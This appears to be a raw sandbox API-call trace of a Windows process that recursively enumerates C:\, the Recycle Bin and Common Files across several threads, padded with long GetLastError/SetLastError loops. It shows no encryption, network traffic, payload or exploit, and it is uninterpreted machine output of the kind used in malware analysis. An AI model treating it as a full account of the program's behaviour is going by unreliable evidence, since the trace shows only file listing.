[0055.798] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0055.798] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0055.798] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0055.799] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0055.799] FindClose (in: hFindFile=0x593160 | out: hFindFile=0x593160) returned 1 [0055.799] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37d0060 | out: hHeap=0xb80000) returned 1 [0055.800] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0055.800] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593160 [0055.800] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.801] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0055.801] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0055.801] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.801] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0055.801] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4085067, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4085067, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa0661283, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0055.801] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0055.801] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0055.801] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.801] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0056.831] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0056.831] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0056.832] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0056.832] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0056.989] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7da10b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f7da10b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f80026c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 Thread: id = 55 os_tid = 0xbe8 [0046.920] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x38) returned 0xb865b0 [0046.920] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x18) returned 0xb88fc0 [0046.920] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x14c [0046.920] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x150 [0046.920] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x154 [0046.920] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10000) returned 0x11b6fa8 [0046.920] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x12a3a08, lpParameter=0x2faf920, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x158 [0046.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x12a3a08, lpParameter=0x2faf920, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c [0046.922] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10000) returned 0x11c6fb0 [0046.923] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x2faf694 | out: lpFindFileData=0x2faf694*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x58bc68 [0046.924] GetLastError () returned 0x0 [0046.924] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x214) returned 0xb8ed08 [0046.924] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0046.924] GetCurrentThreadId () returned 0xbe8 [0046.924] SetLastError (dwErrCode=0x0) [0046.924] GetLastError () returned 0x0 [0046.924] SetLastError (dwErrCode=0x0) [0046.924] GetLastError () returned 0x0 [0046.925] SetLastError (dwErrCode=0x0) [0046.925] GetLastError () returned 0x0 [0046.925] SetLastError (dwErrCode=0x0) [0046.925] GetLastError () returned 0x0 [0046.925] SetLastError (dwErrCode=0x0) [0046.925] GetLastError () returned 0x0 [0046.925] SetLastError (dwErrCode=0x0) [0046.925] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10000) returned 0x11d6fb8 [0046.925] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName=".", cAlternateFileName="")) returned 0x58bca8 [0046.926] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="")) returned 1 [0046.926] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0046.926] GetLastError () returned 0x0 [0046.926] SetLastError (dwErrCode=0x0) [0046.926] GetLastError () returned 0x0 [0046.926] SetLastError (dwErrCode=0x0) [0046.926] GetLastError () returned 0x0 [0046.926] SetLastError (dwErrCode=0x0) [0046.926] GetLastError () returned 0x0 [0046.926] SetLastError (dwErrCode=0x0) [0046.926] GetLastError () returned 0x0 [0046.926] SetLastError (dwErrCode=0x0) [0046.926] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10000) returned 0x11e6fc0 [0046.927] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x58bce8 [0046.927] FindNextFileW (in: hFindFile=0x58bce8, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.927] FindNextFileW (in: hFindFile=0x58bce8, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0046.927] GetLastError () returned 0x0 [0046.927] SetLastError (dwErrCode=0x0) [0046.927] GetLastError () returned 0x0 [0046.927] SetLastError (dwErrCode=0x0) [0046.927] GetLastError () returned 0x0 [0046.928] SetLastError (dwErrCode=0x0) [0046.928] GetLastError () returned 0x0 [0046.928] SetLastError (dwErrCode=0x0) [0046.928] GetLastError () returned 0x0 [0046.928] SetLastError (dwErrCode=0x0) [0046.928] GetLastError () returned 0x0 [0046.928] SetLastError (dwErrCode=0x0) [0046.928] GetLastError () returned 0x0 [0046.928] SetLastError (dwErrCode=0x0) [0046.928] GetLastError () returned 0x0 [0046.928] SetLastError (dwErrCode=0x0) [0046.928] GetLastError () returned 0x0 [0046.928] SetLastError (dwErrCode=0x0) [0046.928] GetLastError () returned 0x0 [0046.928] SetLastError (dwErrCode=0x0) [0046.928] GetLastError () returned 0x0 [0046.928] SetLastError (dwErrCode=0x0) [0046.928] GetLastError () returned 0x0 [0046.929] SetLastError (dwErrCode=0x0) [0046.929] GetLastError () returned 0x0 [0046.929] SetLastError (dwErrCode=0x0) [0046.929] GetLastError () returned 0x0 [0046.929] SetLastError (dwErrCode=0x0) [0046.929] GetLastError () returned 0x0 [0046.929] SetLastError (dwErrCode=0x0) [0046.929] GetLastError () returned 0x0 [0046.929] SetLastError (dwErrCode=0x0) [0046.929] GetLastError () returned 0x0 [0046.929] SetLastError (dwErrCode=0x0) [0046.929] GetLastError () returned 0x0 [0046.929] SetLastError (dwErrCode=0x0) [0046.929] GetLastError () returned 0x0 [0046.929] SetLastError (dwErrCode=0x0) [0046.929] GetLastError () returned 0x0 [0046.929] SetLastError (dwErrCode=0x0) [0046.929] GetLastError () returned 0x0 [0046.930] SetLastError (dwErrCode=0x0) [0046.930] GetLastError () returned 0x0 [0046.930] SetLastError (dwErrCode=0x0) [0046.930] GetLastError () returned 0x0 [0046.930] SetLastError (dwErrCode=0x0) [0046.930] GetLastError () returned 0x0 [0046.930] SetLastError (dwErrCode=0x0) [0046.930] GetLastError () returned 0x0 [0046.930] SetLastError (dwErrCode=0x0) [0046.930] GetLastError () returned 0x0 [0046.930] SetLastError (dwErrCode=0x0) [0046.930] GetLastError () returned 0x0 [0046.930] SetLastError (dwErrCode=0x0) [0046.930] GetLastError () returned 0x0 [0046.930] SetLastError (dwErrCode=0x0) [0046.930] GetLastError () returned 0x0 [0046.930] SetLastError (dwErrCode=0x0) [0046.930] GetLastError () returned 0x0 [0046.931] SetLastError (dwErrCode=0x0) [0046.931] GetLastError () returned 0x0 [0046.931] SetLastError (dwErrCode=0x0) [0046.931] GetLastError () returned 0x0 [0046.931] SetLastError (dwErrCode=0x0) [0046.931] GetLastError () returned 0x0 [0046.931] SetLastError (dwErrCode=0x0) [0046.931] GetLastError () returned 0x0 [0046.931] SetLastError (dwErrCode=0x0) [0046.931] GetLastError () returned 0x0 [0046.931] SetLastError (dwErrCode=0x0) [0046.931] GetLastError () returned 0x0 [0046.931] SetLastError (dwErrCode=0x0) [0046.931] GetLastError () returned 0x0 [0046.931] SetLastError (dwErrCode=0x0) [0046.931] GetLastError () returned 0x0 [0046.931] SetLastError (dwErrCode=0x0) [0046.931] GetLastError () returned 0x0 [0046.931] SetLastError (dwErrCode=0x0) [0046.932] GetLastError () returned 0x0 [0046.932] SetLastError (dwErrCode=0x0) [0046.932] GetLastError () returned 0x0 [0046.932] SetLastError (dwErrCode=0x0) [0046.932] GetLastError () returned 0x0 [0046.932] SetLastError (dwErrCode=0x0) [0046.932] GetLastError () returned 0x0 [0046.932] SetLastError (dwErrCode=0x0) [0046.932] GetLastError () returned 0x0 [0046.932] SetLastError (dwErrCode=0x0) [0046.932] GetLastError () returned 0x0 [0046.932] SetLastError (dwErrCode=0x0) [0046.932] GetLastError () returned 0x0 [0046.932] SetLastError (dwErrCode=0x0) [0046.932] GetLastError () returned 0x0 [0046.932] SetLastError (dwErrCode=0x0) [0046.932] GetLastError () returned 0x0 [0046.932] SetLastError (dwErrCode=0x0) [0046.933] GetLastError () returned 0x0 [0046.933] SetLastError (dwErrCode=0x0) [0046.933] GetLastError () returned 0x0 [0046.933] SetLastError (dwErrCode=0x0) [0046.933] GetLastError () returned 0x0 [0046.933] SetLastError (dwErrCode=0x0) [0046.933] GetLastError () returned 0x0 [0046.933] SetLastError (dwErrCode=0x0) [0046.933] GetLastError () returned 0x0 [0046.933] SetLastError (dwErrCode=0x0) [0046.933] GetLastError () returned 0x0 [0046.933] SetLastError (dwErrCode=0x0) [0046.933] GetLastError () returned 0x0 [0046.933] SetLastError (dwErrCode=0x0) [0046.933] GetLastError () returned 0x0 [0046.933] SetLastError (dwErrCode=0x0) [0046.933] GetLastError () returned 0x0 [0046.933] SetLastError (dwErrCode=0x0) [0046.933] GetLastError () returned 0x0 [0046.934] SetLastError (dwErrCode=0x0) [0046.934] GetLastError () returned 0x0 [0046.934] SetLastError (dwErrCode=0x0) [0046.934] GetLastError () returned 0x0 [0046.934] SetLastError (dwErrCode=0x0) [0046.934] GetLastError () returned 0x0 [0046.934] SetLastError (dwErrCode=0x0) [0046.934] GetLastError () returned 0x0 [0046.934] SetLastError (dwErrCode=0x0) [0046.934] GetLastError () returned 0x0 [0046.934] SetLastError (dwErrCode=0x0) [0046.934] GetLastError () returned 0x0 [0046.934] SetLastError (dwErrCode=0x0) [0046.934] GetLastError () returned 0x0 [0046.934] SetLastError (dwErrCode=0x0) [0046.934] GetLastError () returned 0x0 [0046.934] SetLastError (dwErrCode=0x0) [0046.934] GetLastError () returned 0x0 [0046.935] SetLastError (dwErrCode=0x0) [0046.935] GetLastError () returned 0x0 [0046.935] SetLastError (dwErrCode=0x0) [0046.935] GetLastError () returned 0x0 [0046.935] SetLastError (dwErrCode=0x0) [0046.935] GetLastError () returned 0x0 [0046.935] SetLastError (dwErrCode=0x0) [0046.935] GetLastError () returned 0x0 [0046.935] SetLastError (dwErrCode=0x0) [0046.935] GetLastError () returned 0x0 [0046.935] SetLastError (dwErrCode=0x0) [0046.935] GetLastError () returned 0x0 [0046.935] SetLastError (dwErrCode=0x0) [0046.935] GetLastError () returned 0x0 [0046.936] SetLastError (dwErrCode=0x0) [0046.936] GetLastError () returned 0x0 [0046.936] SetLastError (dwErrCode=0x0) [0046.936] GetLastError () returned 0x0 [0046.936] SetLastError (dwErrCode=0x0) [0046.936] GetLastError () returned 0x0 [0046.936] SetLastError (dwErrCode=0x0) [0046.936] GetLastError () returned 0x0 [0046.936] SetLastError (dwErrCode=0x0) [0046.936] GetLastError () returned 0x0 [0046.936] SetLastError (dwErrCode=0x0) [0046.936] GetLastError () returned 0x0 [0046.936] SetLastError (dwErrCode=0x0) [0046.936] GetLastError () returned 0x0 [0046.936] SetLastError (dwErrCode=0x0) [0046.936] GetLastError () returned 0x0 [0046.936] SetLastError (dwErrCode=0x0) [0046.936] GetLastError () returned 0x0 [0046.936] SetLastError (dwErrCode=0x0) [0046.937] GetLastError () returned 0x0 [0046.937] SetLastError (dwErrCode=0x0) [0046.937] GetLastError () returned 0x0 [0046.937] SetLastError (dwErrCode=0x0) [0046.937] GetLastError () returned 0x0 [0046.937] SetLastError (dwErrCode=0x0) [0046.937] GetLastError () returned 0x0 [0046.937] SetLastError (dwErrCode=0x0) [0046.937] GetLastError () returned 0x0 [0046.937] SetLastError (dwErrCode=0x0) [0046.937] GetLastError () returned 0x0 [0046.937] SetLastError (dwErrCode=0x0) [0046.937] GetLastError () returned 0x0 [0046.937] SetLastError (dwErrCode=0x0) [0046.937] GetLastError () returned 0x0 [0046.937] SetLastError (dwErrCode=0x0) [0046.937] GetLastError () returned 0x0 [0046.937] SetLastError (dwErrCode=0x0) [0046.937] GetLastError () returned 0x0 [0046.938] SetLastError (dwErrCode=0x0) [0046.938] GetLastError () returned 0x0 [0046.938] SetLastError (dwErrCode=0x0) [0046.938] GetLastError () returned 0x0 [0046.938] SetLastError (dwErrCode=0x0) [0046.938] GetLastError () returned 0x0 [0046.938] SetLastError (dwErrCode=0x0) [0046.938] GetLastError () returned 0x0 [0046.938] SetLastError (dwErrCode=0x0) [0046.938] GetLastError () returned 0x0 [0046.938] SetLastError (dwErrCode=0x0) [0046.938] GetLastError () returned 0x0 [0046.938] SetLastError (dwErrCode=0x0) [0046.938] GetLastError () returned 0x0 [0046.938] SetLastError (dwErrCode=0x0) [0046.938] GetLastError () returned 0x0 [0046.938] SetLastError (dwErrCode=0x0) [0046.938] GetLastError () returned 0x0 [0046.939] SetLastError (dwErrCode=0x0) [0046.939] GetLastError () returned 0x0 [0046.939] SetLastError (dwErrCode=0x0) [0046.939] GetLastError () returned 0x0 [0046.939] SetLastError (dwErrCode=0x0) [0046.939] GetLastError () returned 0x0 [0046.939] SetLastError (dwErrCode=0x0) [0046.939] GetLastError () returned 0x0 [0046.939] SetLastError (dwErrCode=0x0) [0046.939] GetLastError () returned 0x0 [0046.939] SetLastError (dwErrCode=0x0) [0046.939] GetLastError () returned 0x0 [0046.939] SetLastError (dwErrCode=0x0) [0046.939] GetLastError () returned 0x0 [0046.939] SetLastError (dwErrCode=0x0) [0046.939] GetLastError () returned 0x0 [0046.939] SetLastError (dwErrCode=0x0) [0046.939] GetLastError () returned 0x0 [0046.940] SetLastError (dwErrCode=0x0) [0046.940] GetLastError () returned 0x0 [0046.940] SetLastError (dwErrCode=0x0) [0046.940] GetLastError () returned 0x0 [0046.940] SetLastError (dwErrCode=0x0) [0046.940] GetLastError () returned 0x0 [0046.940] SetLastError (dwErrCode=0x0) [0046.940] GetLastError () returned 0x0 [0046.940] SetLastError (dwErrCode=0x0) [0046.940] GetLastError () returned 0x0 [0046.940] SetLastError (dwErrCode=0x0) [0046.940] GetLastError () returned 0x0 [0046.940] SetLastError (dwErrCode=0x0) [0046.940] GetLastError () returned 0x0 [0046.940] SetLastError (dwErrCode=0x0) [0046.940] GetLastError () returned 0x0 [0046.940] SetLastError (dwErrCode=0x0) [0046.940] GetLastError () returned 0x0 [0046.941] SetLastError (dwErrCode=0x0) [0046.941] GetLastError () returned 0x0 [0046.941] SetLastError (dwErrCode=0x0) [0046.941] GetLastError () returned 0x0 [0046.941] SetLastError (dwErrCode=0x0) [0046.941] GetLastError () returned 0x0 [0046.941] SetLastError (dwErrCode=0x0) [0046.941] GetLastError () returned 0x0 [0046.941] SetLastError (dwErrCode=0x0) [0046.941] GetLastError () returned 0x0 [0046.941] SetLastError (dwErrCode=0x0) [0046.941] GetLastError () returned 0x0 [0046.941] SetLastError (dwErrCode=0x0) [0046.941] GetLastError () returned 0x0 [0046.941] SetLastError (dwErrCode=0x0) [0046.941] GetLastError () returned 0x0 [0046.941] SetLastError (dwErrCode=0x0) [0046.941] GetLastError () returned 0x0 [0046.941] SetLastError (dwErrCode=0x0) [0046.942] GetLastError () returned 0x0 [0046.942] SetLastError (dwErrCode=0x0) [0046.942] GetLastError () returned 0x0 [0046.942] SetLastError (dwErrCode=0x0) [0046.942] GetLastError () returned 0x0 [0046.942] SetLastError (dwErrCode=0x0) [0046.942] GetLastError () returned 0x0 [0046.942] 